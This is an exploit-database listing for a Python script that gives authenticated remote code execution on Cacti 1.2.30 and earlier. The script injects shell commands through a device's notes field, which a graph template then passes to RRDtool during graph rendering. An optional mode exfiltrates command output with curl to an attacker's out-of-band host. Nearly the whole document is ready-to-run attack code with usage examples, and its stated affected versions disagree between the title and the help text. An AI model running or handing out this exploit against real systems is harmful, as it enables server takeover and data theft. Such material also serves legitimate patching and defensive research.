Share
## https://sploitus.com/exploit?id=PACKETSTORM:225024
==================================================================================================================================
| # Title : Cacti โค 1.2.30 Authenticated RCE Exploit Variable Injection via Graph Rendering |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://www.cacti.net/ |
==================================================================================================================================
[+] Summary : This Python script is an authenticated remote code execution (RCE) exploit targeting Cacti versions โค 1.2.30.
[+] Payload :
#!/usr/bin/env python3
"""
Usage:
python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin
python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin --cmd 'id'
python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin --oob your.oastify.com
"""
import argparse, sys, time, re
import urllib.request, urllib.parse, http.cookiejar
R = "\033[91m"
G = "\033[92m"
Y = "\033[93m"
B = "\033[1m"
E = "\033[0m"
def banner():
"""Prints the tool banner"""
print(fr"""{R}{B}
\|/ (__)
`\------(oo)
|| (__)
||w--|| \|/
\|/
{E}{B}Cacti Authenticated RCE โ Host Variable Injection into RRDtool{E}
""")
class CactiExploit:
"""Main class for the Cacti vulnerability exploitation"""
def __init__(self, url, user, pw):
self.base = url.rstrip('/')
self.user = user
self.pw = pw
self.jar = http.cookiejar.CookieJar()
self.http = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(self.jar))
self.http.addheaders = [('User-Agent', 'Mozilla/5.0')]
def get(self, path, params=None):
"""Sends a GET request"""
url = self.base + path + ('?' + urllib.parse.urlencode(params) if params else '')
r = self.http.open(url, timeout=15)
return r.read().decode('utf-8', errors='replace'), r.geturl()
def post(self, path, data):
"""Sends a POST request"""
r = self.http.open(urllib.request.Request(
self.base + path,
urllib.parse.urlencode(data).encode(),
{'Content-Type': 'application/x-www-form-urlencoded'}
), timeout=15)
return r.read().decode('utf-8', errors='replace'), r.geturl()
def csrf(self, path, params=None):
"""Extracts the CSRF token from the page"""
html, _ = self.get(path, params)
m = re.search(r'name=["\']__csrf_magic["\'][^>]*value=["\']([^"\']+)["\']', html)
return m.group(1) if m else ''
def login(self):
"""Logs into Cacti"""
print(f"[*] Logging in as {self.user}...")
self.post('/index.php', {
'action': 'login',
'login_username': self.user,
'login_password': self.pw,
'__csrf_magic': self.csrf('/index.php'),
})
for c in self.jar:
if 'cacti' in c.name.lower():
print(f" {G}[+] Session established successfully{E}")
return True
print(f" {R}[-] Login failed{E}")
return False
def create_device(self, notes):
"""Creates a new device with malicious notes"""
_, url = self.post('/host.php', {
'action': 'save',
'save_component_host': '1',
'reindex_method': '1',
'id': '0',
'host_template_id': '0',
'description': 'poc',
'hostname': '127.0.0.1',
'location': '',
'poller_id': '1',
'site_id': '1',
'device_threads': '1',
'availability_method': '0',
'snmp_options': '0',
'ping_method': '1',
'ping_port': '23',
'ping_timeout': '400',
'ping_retries': '1',
'snmp_version': '2',
'snmp_community': 'public',
'snmp_security_level': 'authPriv',
'snmp_auth_protocol': 'MD5',
'snmp_username': '',
'snmp_password': '',
'snmp_password_confirm': '',
'snmp_priv_protocol': 'DES',
'snmp_priv_passphrase': '',
'snmp_priv_passphrase_confirm': '',
'snmp_context': '',
'snmp_engine_id': '',
'snmp_port': '161',
'snmp_timeout': '500',
'snmp_retries': '3',
'max_oids': '10',
'bulk_walk_size': '0',
'external_id': '',
'notes': notes,
'__csrf_magic': self.csrf('/host.php', {'action': 'edit'}),
})
m = re.search(r'[?&]id=(\d+)', url)
return m.group(1) if m else None
def create_template(self):
"""Creates a graph template containing the compromised variable"""
_, url = self.post('/graph_templates.php', {
'action': 'save',
'save_component_template': '1',
'graph_template_id': '0',
'graph_template_graph_id': '0',
'name': 'poc',
'class': 'unassigned',
'version': '',
'title': 'poc',
'vertical_label': '',
'image_format_id': '1',
'height': '200',
'width': '700',
'base_value': '1000',
'auto_scale_opts': '2',
'upper_limit': '100',
'lower_limit': '0',
'unit_value': '',
'unit_exponent_value': '',
'unit_length': '',
'right_axis': '',
'right_axis_label': '|host_notes|',
'right_axis_format': '0',
'right_axis_formatter': '0',
'left_axis_format': '0',
'left_axis_formatter': '0',
'tab_width': '',
'legend_position': '0',
'legend_direction': '0',
'rrdtool_version': '1.7.2',
'__csrf_magic': self.csrf('/graph_templates.php', {'action': 'template_edit'}),
})
m = re.search(r'[?&]id=(\d+)', url)
return m.group(1) if m else None
def create_graph(self, host_id, tmpl_id):
"""Creates a graph that links the device to the template"""
self.post('/graphs_new.php', {
'save_component_graph': '1',
'cg_g': tmpl_id,
'host_id': str(host_id),
'host_template_id': '0',
'action': 'save',
'graph_type': '-2',
'rows': '-1',
'__csrf_magic': self.csrf('/graphs_new.php', {'reset': 'true', 'host_id': host_id}),
})
html, _ = self.get('/host.php', {'action': 'edit', 'id': host_id})
ids = re.findall(r'graph_edit&(?:amp;)?id=(\d+)', html)
return ids[-1] if ids else None
def trigger(self, graph_id):
"""Triggers the graph generation to execute the injected command"""
try:
self.get('/graph_image.php', {
'local_graph_id': graph_id,
'rra_id': '0',
'graph_start': '-3600',
'graph_end': '0',
})
except Exception:
pass
def run(self, cmd, oob=None):
"""
Executes the main attack sequence
cmd: The command to execute
oob: Out-of-Band destination address for data exfiltration (optional)
"""
if oob:
payload_cmd = f"curl -sk http://{oob}/$({cmd}|base64 -w0)"
else:
payload_cmd = cmd
notes = f"'; ({payload_cmd} &); '"
print(f"[*] Creating a new device...")
host_id = self.create_device(notes)
if not host_id:
print(f" {R}[-] Failed{E}")
return False
print(f" {G}[+] host_id={host_id}{E}")
print(f"[*] Creating a template...")
tmpl_id = self.create_template()
if not tmpl_id:
print(f" {R}[-] Failed{E}")
return False
print(f" {G}[+] template_id={tmpl_id}{E}")
print(f"[*] Creating a graph...")
graph_id = self.create_graph(host_id, tmpl_id)
if not graph_id:
print(f" {R}[-] Failed{E}")
return False
print(f" {G}[+] graph_id={graph_id}{E}")
print(f"[*] Rendering the graph to trigger command execution...")
time.sleep(1)
self.trigger(graph_id)
time.sleep(1)
print(f"\n{G}{B}[+] Execution triggered successfully.{E}")
if oob:
print(f" {Y}Check your OOB/Collaborator listener for incoming interactions - Path = base64({cmd}){E}")
return True
def main():
"""Main function"""
banner()
p = argparse.ArgumentParser(description='Cacti <= 1.3.0-dev Authenticated Remote Code Execution')
p.add_argument('--url', required=True, help='Cacti installation URL')
p.add_argument('--user', default='admin', help='Username (default: admin)')
p.add_argument('--pass', dest='password', default='admin', help='Password (default: admin)')
p.add_argument('--cmd', default='id', help='Command to execute (default: id)')
p.add_argument('--oob', help='OOB server to capture the results (e.g., Burp Collaborator)')
args = p.parse_args()
e = CactiExploit(args.url, args.user, args.password)
if not e.login():
sys.exit(1)
e.run(cmd=args.cmd, oob=args.oob)
if __name__ == '__main__':
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================